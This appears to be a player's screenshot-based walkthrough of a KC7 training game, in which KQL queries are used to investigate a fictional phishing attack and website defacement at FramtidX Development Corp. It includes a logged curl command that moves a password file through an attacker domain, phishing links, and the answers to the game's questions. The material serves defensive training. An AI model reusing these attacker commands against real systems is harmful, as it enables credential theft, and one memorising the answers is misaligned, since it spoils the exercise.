

## Welcome back to the beautiful city of Valdoria!

The skills you've showcased to help defuse the scandal at the Valdorian Times haven't gone unnoticed. In fact, that's why you're here today! 😊



FramtidX Development Corp. is a huge mall development company hoping to establish themselves in Valdoria. Known for their cutting-edge architecture and technological installations, they already got the blessing of the mayor, Erik Stevens (you remember him, his opponent was involved in the scandal last time).

The new mall would boost the local economy by creating new jobs and attracting shoppers from the neighbouring cities, and even states! Really, Valdoria would become a beacon of modernisation!

But you can imagine that if FramtidX requires your services, it means not everything is rosy. In fact, they might be in a bit of a pickle...

Type `sign me up` to continue.

KC7

FramtidX Development Corp. is a huge mall development company hoping to establish themselves in Valdoria. Known for their cutting-edge architecture and technological installations, they already got the blessing of the mayor, Erik Stevens (you remember him, his opponent was involved in the scandal last time). The new mall would boost the local economy by creating new jobs and attracting shoppers from the neighbouring cities, and even states! Really, Valdoria would become a beacon of modernisation! But you can imagine that if FramtidX requires your services, it means not everything is rosy. In fact, they might be in a bit of a pickle...

Type [sign me up](#) to continue.

[sign me up](#)

Solved by 278 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

19°C Mostly cloudy

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.ValdyX2

Run

Feedback

UTC 13.10.2024

You've barely had time to sit at your desk at FramtidX with a fresh cup of coffee when a stern man puts an open laptop in front of you without a word. You look at the man quizzically, but he only responds by pointing at the screen. So you look. And stifle an ugly snort.

Home About Services Contact

## FramtidX Development Corp

### Hacked by Shadow Truth

Your secrets are exposed. We are Shadow Truth.

ALL YOUR PLANS  
ARE BELONG TO US

LOOKING AT YOUR DATA  
GOING OUT THE DOOR

IBISIMAG  
www.ibisimages.com

FramtidX's website has been defaced, and it's definitely not a good look for a company that boasts about having all the latest tech at their disposal.

Also what's up with those angry frogs?

You look back towards the man, expecting more information. Wait. Have his lips tightened? Did he notice you found the memes funny? A trickle of sweat runs down your back. But you shouldn't have worried, the man doesn't utter a single word. He just stares at you, taps on his watch a few times, and leaves. Guess you'd better get started then, and quick.

The image shows two side-by-side screenshots. On the left is a game interface for 'KC7' showing a story about a defacement attempt. On the right is a database interface showing a query result for 'kc7001.eastus.ValdyX2'.

**Game Interface (Left):**

- Header: ARE BELONG TO US
- Text: FramtidX's website has been defaced, and it's definitely not a good look for a company that boasts about having all the latest tech at their disposal.
- Text: Also what's up with those angry frogs?
- Text: You look back towards the man, expecting more information. Wait. Have his lips tightened? Did he notice you found the memes funny? A trickle of sweat runs down your back. But you shouldn't have worried, the man doesn't utter a single word. He just stares at you, taps on his watch a few times, and leaves. Guess you'd better get started then, and quick.
- Text: What is the MITRE ATT&CK ID for defacement?
- Text: ✓ T1491
- Text: Solved by 213 players || Need help? Ask on discord @ kc7cyber/community
- Buttons: Submit, Refresh

**Database Interface (Right):**

- Header: Available Tables, Game Ranking, Query Data (ADX)
- Table: kc7001.eastus | kc7001.eastus.OwlRecords | kc7001.eastus.ValdyX2
- Text: Run
- Text: kc7001.eastus/ValdyX2
- Text: 1
- Text: UTC
- Feedback button

In the MITRE ATT&CK framework, **defacement** falls under the "**Impact**" tactic, which involves adversaries attempting to manipulate, interrupt, or destroy systems and data. The specific MITRE ATT&CK ID for **Website Defacement** is **T1491** ("Defacement").

This technique is used by attackers to alter the visual appearance of a website, typically to embarrass an organization, deliver a message, or cause reputational damage.

You can explore this further under the ID T1491 on the MITRE ATT&CK website.

We can find it if we go to the MITRE ATT&CK website and search like here:

## TACTICS

Resource Development  
Initial Access  
Execution  
Persistence  
Privilege Escalation  
Defense Evasion  
Credential Access  
Discovery  
Lateral Movement  
Collection  
Command and Control  
Exfiltration  
**Impact**  
Mobile  
ICS

		the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from <i>Disk Content Wipe</i> and <i>Disk Structure Wipe</i> because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
T1486	Data Encrypted for Impact	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
T1565	Data Manipulation	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
.001	Stored Data Manipulation	Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
.002	Transmitted Data Manipulation	Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
.003	Runtime Data Manipulation	Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
T1491	Defacement	Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting

19°C Mostly cloudy      Pretraživanje      13:53 13.10.2024

The website has been hacked by some frog fanatics. To find out how, you need to identify the person responsible for maintaining it. Let's see...

```
Employees
| where role == 'Web Administrator'
```

Note: You should copy and past this query into your query pane and press **run**.

**Who is the Web Administrator? (Paste the full name.)**

Solved by 227 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.Valdy... Run kc7001.eastus/ValdyX2

```
1 Employees
2 | where role == 'Web Administrator'
3
```

Table 1 Add visual Stats Search UTC Done (0.426 s) 1 records Columns

hire\_date name user\_agent ip\_addr email\_addr username role hostname mfa\_enabled compa

2023-04-26... Anita B... Mozilla/5.0 (... 10.10.0.8 anita\_bath@f... anbath Web ... MYZB-LAPT... False framtic

JPath: /hire\_date Inline Compact

```
1 "hire_date": 2023-04-26T00:00:00Z,
2 "name": Anita Bath,
```

Feedback

20°C Cloudy      Pretraživanje      13:54 13.10.2024

**KC7**

**Question 4: (20) points**

You catch the Web Administrator leaving the bathroom. You did not mean to meet her there, it looks weird, so you don't begrudge her the side-eye.

She's obviously been crying. She insists she didn't do it, even though it might look like she did. She's so terrified of frogs, she hasn't been able to fix the webpage. Tears well up again as you thank her and she heads back into the bathroom.

Well, that didn't help. Unless... "I didn't do it even if it looks like it!" That sounds familiar. You should investigate her machine! The hostname will help you identify it.

**What is the hostname of the Web Administrator machine?**

Solved by 224 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.ValdyX2

Run

```
1 Employees
2 | where role == 'Web Administrator'
3
```

Table 1 Add visual Stats Search UTC Done (0.426 s) 1 records

hire\_date name user\_agent ip\_addr email\_addr username role hostname mfa\_enabled compa

2023-04-26... Anita B... Mozilla/5.0 (...) 10.10.0.8 anita\_bath@f... anbath Web ... MYZB-LAPT... False framtic

JPath: /hostname Inline Compact

```
8 "hostname": "MYZB-LAPTOP",
9 "mfa_enabled": False,
```

**KC7**

**Section 1: Maybe it's just a tadpole? 🐸**

**Question 5: (30) points**

First, let's find proof that the update to the website was made from her machine. The defacement is signed by Valdoria's number one enemy, the **Shadow Truth**. Maybe we can find that string somewhere?

ProcessEvents

```
| where hostname == '<insert hostname found in Q4'
| where process_commandline has 'Shadow Truth'
```

When did the defacement happen exactly? (Paste the timestamp.)

Solved by 203 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

**You reached level 10!**

Associate no more! You've leveled up to greater heights of security! Your new level title is **Associate Security Operations Analyst**.

Keep Playing View your performance

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.ValdyX2

Run

```
1 Employees
2 | where role == 'Web Administrator'
3
```

Table 1 Add visual Stats Search UTC Done (0.426 s) 1 records

hire\_date name user\_agent ip\_addr email\_addr username role hostname mfa\_enabled compa

2023-04-26... Anita B... Mozilla/5.0 (...) 10.10.0.8 anita\_bath@f... anbath Web ... MYZB-LAPT... False framtic

**KC7**

**Section 1: Maybe it's just a tadpole? 🐸👀**

**Question 5: (30) points**

First, let's find proof that the update to the website was made from her machine. The defacement is signed by Valdoria's number one enemy, the **Shadow Truth**. Maybe we can find that string somewhere?

```
ProcessEvents
| where hostname == '<insert hostname found in Q4>'
| where process_commandline has 'Shadow Truth'
```

**When did the defacement happen exactly? (Paste the full timestamp.)**

2024-07-10T11:45:50Z

Solved by 203 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

20°C Cloudy

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.ValdyX2

```
ProcessEvents
| where hostname == "MYB-LAPTOP"
| where process_commandline has 'Shadow Truth'
```

Table 1 Add visual Stats

timestamp parent\_process\_name parent\_process\_hash process\_commandline

2024-07-10 11:45:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec... cmd.exe /C echo ^ ^<html^>^ ^<he

JPath: /timestamp Inline Compact Columns

1 "timestamp": "2024-07-10T11:45:50Z",
2 "parent\_process\_name": "cmd.exe",

13:59 13.10.2024.

**KC7**

**Section 1: Maybe it's just a tadpole? 🐸👀**

**Question 6 (solved): (30) points**

Looking at the page's HTML code you found in Q5, you notice the pictures aren't linked to an external source. They come from the company's web server, meaning they were uploaded there. Let's find when that happened.

```
ProcessEvents
| where hostname == '<insert hostname found in Q4>'
| where process_commandline contains 'frog_mall_meme'
```

**When was the first image uploaded? (Paste the full timestamp.)**

✓ 2024-07-10T10:53:37Z

Solved by 201 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

You have have exfiltrated the answer sheet

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus kc7001.eastus.OwlRecords kc7001.eastus.ValdyX2

```
ProcessEvents
| where hostname == "MYB-LAPTOP"
| where process_commandline contains 'frog_mall_meme'
```

Table 1 Add visual Stats

timestamp parent\_process\_name parent\_process\_hash process\_commandline

2024-07-10 10:53:37.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec... cmd.exe /C copy C:/Users/anbath/Dov

JPath: /timestamp Inline Compact Columns

1 "timestamp": "2024-07-10T10:53:37Z",
2 "parent\_process\_name": "cmd.exe",

> 2024-07-10 11:16:37.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec... cmd.exe /C copy C:/Users/anbath/Dov
> 2024-07-10 11:45:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec... cmd.exe /C echo ^ ^<html^>^ ^<he

**Section 1: Maybe it's just a tadpole? 🐸🐸**

**Question 7 (solved): (30) points**

Uh-oh! The source folder for those images comes from the web admin's account.

```
FileCreationEvents
| where hostname == '<insert hostname found in Q4>'
| where filename startswith 'frog_mall_meme'
```

**What is the Sha256 hash of the first meme that was uploaded to the webserver?**

✓ 9880c2d74afb2e57c7de7b9d6d0976112887!

Solved by 198 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

**kc7001.eastus** | **kc7001.eastus.OwlRecords** | **kc7001.eastus.ValdyX2** | +

You're on a roll! Keep going!

Run | kc7001.eastus.ValdyX2

```
1 FileCreationEvents
2 | where hostname == "MYZB-LAPTOP"
3 | where filename startswith 'frog_mall_meme'
4
5
```

Table 1 | Add visual | Stats | Search | UTC | Done (0.339 s) | 2 records | Columns

timestamp	hostname	username	sha256	path	filename	process_name
> 2024-07-10 10:52:...	MYZB-LAPTOP	anbath	c470e4672f9632c01e...	C:\Users\anbath\Do...	frog_mall_meme2...	chrome.exe
< 2024-07-10 10:52:...	MYZB-LAPTOP	anbath	9880c2d74fb2e57c...	C:\Users\anbath\Do...	frog_mall_meme1...	Edge.exe
1			9880c2d74afb2e57c7de7b9d6d0976112887502bb80344d35df34e774628db0a			

Feedback

**Section 1: Maybe it's just a tadpole? 🐸🐸**

**Question 8: (30) points**

The processes that created the memes on her machine show they came from a web browser and were saved in the Downloads folder, which is the default folder for anything originating from the internet. Let's find exactly where they came from.

```
OutboundNetworkEvents
| where src_ip == '<insert Anita's IP address>'
| where url contains 'frog_mall_meme'
| extend domain = parse_url(url).Host
| distinct tostring(domain)
```

**What domain were the images downloaded from?**

ronniesdankmemes.com

Solved by 189 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

**kc7001.eastus.ValdyX2** | **kc7001.eastus.ValdyX2** | +

Run | kc7001.eastus.ValdyX2

```
1 OutboundNetworkEvents
2 | where src_ip == "10.10.0.8"
3 | where url contains "frog_mall_meme"
4 | extend domain = parse_url(url).Host
5 | distinct tostring(domain)
6
```

Table 1 | Add visual | Stats | Search | UTC | Done (0.454 s) | 1 records | Columns

domain
ronniesdankmemes.com
1 ronniesdankmemes.com

Feedback

16%

### Section 1: Maybe it's just a tadpole? 🐸👀💡

#### Question 10 (solved): (40 points)

You swear softly. It looks like they found sensitive information on her machine.

```
ProcessEvents
| where hostname == '<insert hostname from Q4>'
| where process_commandline contains 'passwords'
```

What is the name of the file containing passwords?

mypasswordsnstuff.txt

Solved by 182 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

kc7001.eastus.ValdyX2 kc7001.eastus.Valdy... ⚡ X + ✓ It's lit!

Run | Run | kc7001.eastus.ValdyX2

```
1 ProcessEvents
2 | where hostname == 'MYZB-LAPTOP'
3 | where process_commandline contains "passwords"
4
```

Table 1 Add visual Stats Search UTC Done (0.429 s) 1 records

timestamp	parent_process_name	parent_process_hash	process.commandline
2024-07-10 10:28:26.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	curl.exe -o C:\ProgramData\Heartburn\mypasswordsnstuff.txt https://newdevelopmentupdates.org/mypasswordsnstuff.txt
1	curl.exe	-o C:\ProgramData\Heartburn\mypasswordsnstuff.txt	https://newdevelopmentupdates.org/mypasswordsnstuff.txt

16%

### Section 1: Maybe it's just a tadpole? 🐸👀💡

#### Question 11: (30 points)

The command you just found containing Anita's password shows they exfiltrated the file to a domain they control.

What is the name of that domain?

newdevelopmentupdates.org

Solved by 181 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

kc7001.eastus.ValdyX2 kc7001.eastus.Valdy... ⚡ X + ✓ It's lit!

Run | Run | kc7001.eastus.ValdyX2

```
1 ProcessEvents
2 | where hostname == 'MYZB-LAPTOP'
3 | where process_commandline contains "passwords"
4
```

Table 1 Add visual Stats Search UTC Done (0.429 s) 1 records

timestamp	parent_process_name	parent_process_hash	process.commandline
2024-07-10 10:28:26.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	curl.exe -o C:\ProgramData\Heartburn\mypasswordsnstuff.txt https://newdevelopmentupdates.org/mypasswordsnstuff.txt
1	curl.exe	-o C:\ProgramData\Heartburn\mypasswordsnstuff.txt	https://newdevelopmentupdates.org/mypasswordsnstuff.txt

**Section 1: Maybe it's just a tadpole? 🐸🐸**

**Question 12 (solved): (20) points**

Finally! Something concrete and suspicious to work with. We can gather threat intelligence on this domain by using Passive DNS to learn more about it.

```
PassiveDns
| where domain == '<insert domain from Q11>'
```

What is the last IP address that the domain you found in Q11 resolve to?

✓ 239.72.6.37

Solved by 178 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```
|> Run |> kc7001.eastus/ValdyX2
1 PassiveDns
2 | where domain == "newdevelopmentupdates.org"
3
```

Table 1 Add visual Stats

timestamp	ip	domain
> 2024-06-18 13:57:42.0000	239.72.6.38	newdevelopment...
> 2024-06-19 13:57:42.0000	239.72.6.37	newdevelopment...
> 2024-06-19 13:57:42.0000	239.72.6.37	newdevelopment...
> 2024-06-19 13:57:42.0000	239.72.6.38	newdevelopment...
> 2024-06-19 13:57:42.0000	239.72.6.38	newdevelopment...
> 2024-06-19 13:57:42.0000	239.72.6.37	newdevelopment...
1 239.72.6.37		

kc7cyber.com/challenges/227#

Dashboard Tenable Assess Part... YouTube Karte Homepage - ISC2 ... CS50.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searching Partner Connect Sve oznake

**KC7**

**Exit this game**

**My Performance**

**Global Leaderboard**

**Case Vault (All Games)**

**Badge Backpack**



PassiveDns
| where domain == 'newdevelopmentupdates.org'
| distinct ip
| lookup PassiveDns on ip
| distinct domain

Do the IPs found in Q11 resolve to other domains? If they do, answer with the domain. If not, type **no**.

✓ greenprojectnews.net

Solved by 178 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```
|> Run |> kc7001.eastus/ValdyX2
1 PassiveDns
2 | where domain == 'newdevelopmentupdates.org'
3 | distinct ip
4 | lookup PassiveDns on ip
5 | distinct domain
6
```

Table 1 Add visual Stats

domain
> newdevelopmentupdat...
✓ greenprojectnews.net
1 greenprojectnews.net

If the threat actor used Anita's machine, it means they managed to log into it. We can check `AuthenticationEvents` for evidence of that.

```
let TA_ips =
  PassiveDns
  | where domain == 'newdevelopmentupdates.org'
  | distinct ip;
AuthenticationEvents
| where src_ip in (TA_ips)
| where username == '<insert Anita's username>'
```

Take a look at the user agent, which is a string that a web browser sends to identify itself and its capabilities, providing information about the browser type, operating system, and more.

**What version of Firefox is the threat actor using?**

3.6.11

Solved by 168 players || 😊 Need help? Ask on discord @ [kc7cyber/community](#).

Submit

Feedback

Table 1

timestamp	hostname	src_ip	user_agent	username	result
2024-06-27 11:06:48.0000	MYZB-LAPTOP	239.72.6.38	Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_9_3; rv:1.9.6.20) Gecko/2012-06-30 19:57:20 Firefox/3.6.11	anbath	Successful

Section 1: Maybe it's just a tadpole? 😊 🐸

**Question 15 (solved): (20) points**

They only attempted to log into her machine once, and it was successful. That's a sign they had gotten their froggy fingers on her password beforehand, possibly through phishing.

```
Employees
| where name == 'Anita Bath'
| distinct email_addr
```

**What is Anita's email address?**

✓ anita\_bath@framtidxdevcorp.com

Solved by 167 players || 😊 Need help? Ask on discord @ [kc7cyber/community](#).

Submit

Feedback

Table 1

email_addr
anita_bath@framtidxdevcorp.com

Section 1: Maybe it's just a tadpole? 😊 🐸

**Question 16: (20) points**

Let's see if she received any emails involving the domains you found in Q11 and Q13.

```
let TA_domains =
  PassiveDns
  | where domain == 'newdevelopmentupdates.org'
  | distinct ip
  | lookup PassiveDns on ip
  | distinct domain;
Email
| where recipient == '<insert email you found in Q15>'
| where link has_any(TA_domains)
```

**What is the subject of the email she received?**

Web Server Credentials Update

Solved by 163 players || 😊 Need help? Ask on discord @ [kc7cyber/community](#).

Submit

Feedback

Table 1

timestamp	sender	reply_to	recipient
2024-06-26 15:16:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	anita_bath@framtidxdevcorp.com

JPath: /subject | Inline | Compact

```
4 "recipient": anita_bath@framtidxdevcorp.com,
5 "subject": Web Server Credentials Update,
```

24%

### Section 1: Maybe it's just a tadpole? 🐸👀

**Question 17: (20) points**

What is the link attached to that email?

<https://greenprojectnews.net/share/modules/files/sl>

Solved by 163 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Feedback

kc7001.eastus.ValdyX2

```

1 let TA_domains =
2 PassiveDns
3 | where domain == 'newdevelopmentupdates.org'
4 | distinct ip
5 | lookup PassiveDns on ip
6 | distinct domain;
7 | mail
8 | where recipient == "anita_bath@framtidxdevcorp.com"
9 | where link has_any(TA_domains)
10

```

Table 1

timestamp	sender	reply_to	recipient
2024-06-26 15:16:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	anita_bath@framtidxdevcorp.com

JPath: /link

7 "link": <https://greenprojectnews.net/share/modules/files/share/enter>

8

14:24  
13.10.2024

25%

### Section 1: Maybe it's just a tadpole? 🐸👀

**Question 18: (20) points**

You know she must have clicked on that link, but let's confirm it.

OutboundNetworkEvents  
| where src\_ip == '10.10.0.8'  
| where url == <insert url found in Q17>

Copy

When did Anita click on the link? (Paste the full timestamp.)

2024-06-26T15:24:20Z

Solved by 162 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Feedback

kc7001.eastus.ValdyX2

```

1 OutboundNetworkEvents
2 | where src_ip == '10.10.0.8'
3 | where url == "https://greenprojectnews.net/share/modules/files/share/enter"
4

```

Table 1

timestamp	method	src_ip	user_agent
2024-06-26 15:24:20.0000	GET	10.10.0.8	Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

JPath: /timestamp

1 "timestamp": 2024-06-26T15:24:20Z,  
2 "method": GET,

14:28

Dashboard Tenable Assure Part... YouTube Karte Homepage - ISC2 ... CSS50.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searxng Partner Connect Sve oznake

**KC7**

27%

**Section 1: Maybe it's just a tadpole? 🐸👀**

**Question 19: (40 points)**

There might even be traces of her typing her credentials in.

```
OutboundNetworkEvents
| where src_ip == '10.10.0.8'
| where url startswith '<insert url found in Q17>'
| where url has 'username'
```

Copy

What is the full url showing her doing just that?

<https://greenprojectnews.net/share/modules/files/>

Solved by 162 players || 😊 Need help? Ask on discord @ kc7cyber/community

Submit

Feedback

Table 1

timestamp method src\_ip user\_agent

2024-06-26 15:24:22.0000 GET 10.10.0.8 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

JPath: /url Inline Compact

5 "url": [https://greenprojectnews.net/share/modules/files/share/enter?username=anbath&password=\\*\\*\\*\\*\\*](https://greenprojectnews.net/share/modules/files/share/enter?username=anbath&password=*****)

6

14:30 13.10.2024

29%

**Section 1: Maybe it's just a tadpole? 🐸👀**

**Question 20: (20 points)**

Well, there is no doubt anymore. Anita is innocent. She got phished, and the attackers used her machine for the defacement. You sigh in relief. But something in what you've just seen bothers you. You frown and go back to the email from Q16. And you gasp.

Who sent Anita the mail?

alex\_johnson@framtidxdevcorp.com

Solved by 162 players || 😊 Need help? Ask on discord @ kc7cyber/community

Submit

Feedback

Table 1

timestamp sender reply\_to recipient

2024-06-26 15:16:20.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com anita\_bath@framtidxdevcorp.com

1 alex\_johnson@framtidxdevcorp.com

Dashboard Tenable Assure Part... YouTube Karte Homepage - ISC2 ... CS50.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searxng Partner Connect Sve oznake

**KC7**

31%

### Section 1: Maybe it's just a tadpole? 🐸 ↴

**Question 21 (solved): (10) points**

That is really not good. The phish came from the inside. Which means more people might have been compromised, including -maybe- that sender.

Before you can start looking deeper into it, a shadow looms over you. The stern man is back. He still doesn't say a word, so you get ready to report on what you've found so far, but before you do, he sidesteps and reveals another person. It's a blond man with an awkward smile on his face, like he's apologising for what's about to happen. He asks you to follow him to his desktop...

Type in **rabbit** to finish this section.

✓ rabbit

Solved by 162 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```
1 let TA_domains =
2 PassiveDns
3 | where domain == 'newdevelopmentupdates.org'
4 | distinct ip
5 | lookup PassiveDns on ip
6 | distinct domain;
7 Email
8 | where recipient == "anita_bath@framtidxdevcorp.com"
9 | where link has_any(TA_domains)
10
```

Table 1 Add visual Stats Search UTC Done (0.455 s) 1 records

timestamp	sender	reply_to	recipient
2024-06-26 15:16:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	anita_bath@framtidxdevcorp.com
1	alex_johnson@framtidxdevcorp.com		

Dashboard Tenable Assure Part... YouTube Karte Homepage - ISC2 ... CS50.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searxng Partner Connect Sve oznake

**KC7**

31%

### Question 2 (solved): (10) points

The first command Kell teaches you is the most helpful one in querying data using KQL. It helps you see what's contained in each table, which is essential for understanding the structure and types of data you're working with. Knowing what's in each table allows you to craft more effective queries and find exactly what you're looking for.

Employees  
| take 10

Copy

Kell gave you the first table, now do a take 10 on all the remaining tables to see what they contain.

Once you've looked at all the tables type **when in doubt take 10** to continue.

✓ when in doubt take 10

Solved by 159 players || 🤔 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```
1 Employees
2 | take 10
3
```

Table 1 Add visual Stats Search UTC Done (0.753 s) 10 records

hire_date	name	user_agent	ip_addr	email_addr	username	role	hostname	mfa_enabled	compa...
2021-06-19...	Courtne...	Mozilla/5.0 (...	10.10.2.239	courtney_bail...	cobailey	Devel...	XCFQ-DESK...	False	framtic...
2021-06-20...	Kelli He...	Mozilla/5.0 (...	10.10.1.25	kelli_herringt...	keherrington	Devel...	CRYL-MACH...	True	framtic...
2021-06-22...	Charles ...	Mozilla/5.0 (...	10.10.2.77	charles_kelso...	chkelseo	Devel...	ADCU-DESK...	True	framtic...
2021-06-23...	Howard...	Mozilla/5.0 (...	10.10.0.154	howard_hutc...	hohutchins	Devel...	DILLO-MAC...	True	framtic...
2021-06-26...	Wm Lane	Mozilla/5.0 (...	10.10.0.137	wm_lane@fra...	wmlane	Qualit...	6SPC-MACH...	False	framtic...
2021-06-26...	David B...	Mozilla/5.0 (...	10.10.1.246	david_bridget...	dabrigette	Devel...	GXTV-MAC...	True	framtic...
2021-06-26...	Diane H...	Mozilla/5.0 (...	10.10.0.215	diane_held@f...	diheld	Marke...	MWWY-MA...	True	framtic...

32%

**Section 2: KQL 101** Question 3: (10 points)

Now, let's get more information about FramtidX Development Corp.

To do this, we can use the `count` operator to quickly count the number of rows in a table. This is helpful for understanding the volume of data you're dealing with.

Employees  
| count

How many employees work at FramtidX?

755

Solved by 159 players || Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Run kc7001.eastus.ValdyX2

Employees  
| count

Table 1 + Add visual Stats Search UTC Done (0.291 s) 1 records Columns

Count  
> 755

33%

**Section 2: KQL 101** Question 4: (10 points)

You can use the `where` operator with the Employees table to find a specific employee.

Here is a template you can follow:

Table  
| where <field><operator><value>

**field**: The column you want to filter by (e.g., role).

**operator**: The condition you're applying (e.g., == for an exact match).

**value**: The specific value you're looking for in the field (e.g., CEO).

What is the CEO's name?

Johanna Karlsson

Solved by 158 players || Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Run kc7001.eastus.ValdyX2

Employees  
| where role == "CEO"

Table 1 + Add visual Stats Search UTC Done (0.736 s) 1 records Columns

hire\_date name user\_agent ip\_addr email\_addr username role hostname mfa\_enabled compa  
2021-12-19... Johanna... Mozilla/5.0 (... 10.10.0.6 johanna\_karls... jokarlsson CEO BLVR-MACH... False framtic  
1 Johanna Karlsson

34%

**Section 2: KQL 101** Question 6: (10 points)

We can learn more about an employee by using information from other tables. For example, let's take a look at **Mona Hunter**'s correspondence. Take her email address from the Employees table, then use it in a query in the Email table.

How many emails did Mona Hunter receive?

Email  
| where recipient == "mona\_hunter@framtidxdevcorp.com"  
| count

24

Solved by 154 players || Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Run kc7001.eastus.ValdyX2

Email  
| where recipient == "mona\_hunter@framtidxdevcorp.com"  
| count

Table 1 + Add visual Stats Search UTC Done (0.312 s) 1 records Columns

Count  
> 24

35%

## Section 2: KQL 101

### Question 7 (solved): (10) points

You can use the `distinct` operator to filter for unique values in a specific column.

How many distinct senders were seen in the email logs from techinnovators.io?

```
Email
| where sender has "<insert domain name here>"
| distinct <field you need>
| count
```

✓ 675

Solved by 153 players || Need help? Ask on discord @ kc7cyber/community

Submit

kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2

Run | kc7001.eastus.ValdyX2

```
1 | mail
2 | where sender has "techinnovators.io"
3 | distinct sender
4 | count
```

**Table 1** Add visual Stats

Count

> 675

Search UTC Done (0.327 s) 1 records

36%

## Section 2: KQL 101

### Question 8 (solved): (10) points

Time to combine all that we've learned so far!

How many `distinct` websites did Mona Hunter visit?

```
OutboundNetworkEvents
| where src_ip == "<insert Mona Hunter's IP here>"
| <operator> <field>
| <operator>
```

✓ 46

Solved by 151 players || Need help? Ask on discord @ kc7cyber/community

Submit

kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2

Run | kc7001.eastus.ValdyX2

```
1 | OutboundNetworkEvents
2 | where src_ip == '10.10.0.131'
3 | distinct url
4 | count
5
```

**Table 1** Add visual Stats

Count

> 46

Search UTC Done (0.309 s) 1 records

Section 2: KQL 101

### Question 9 (solved): (10) points

How many `distinct` domains in the PassiveDns records contain the word `green`?

```
PassiveDns
| where <field> contains "<value>"
| <operator> <field>
| <operator>
```

You may have noticed we're using `contains` instead of `has` here. That's because `has` will look for an exact match (the word on its own), while `contains` will look for the specified sequence of letters, regardless of what comes before or after it. You can try both on your query to see the difference!

✓ 11

Solved by 149 players || Need help? Ask on discord @ kc7cyber/community

Submit

kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2 | kc7001.eastus.ValdyX2

Run | kc7001.eastus.ValdyX2

```
1 | PassiveDns
2 | where domain contains "green"
3 | distinct domain
4 | count
5
```

**Table 1** Add visual Stats

Count

> 11

Search UTC Done (0.304 s) 1 records

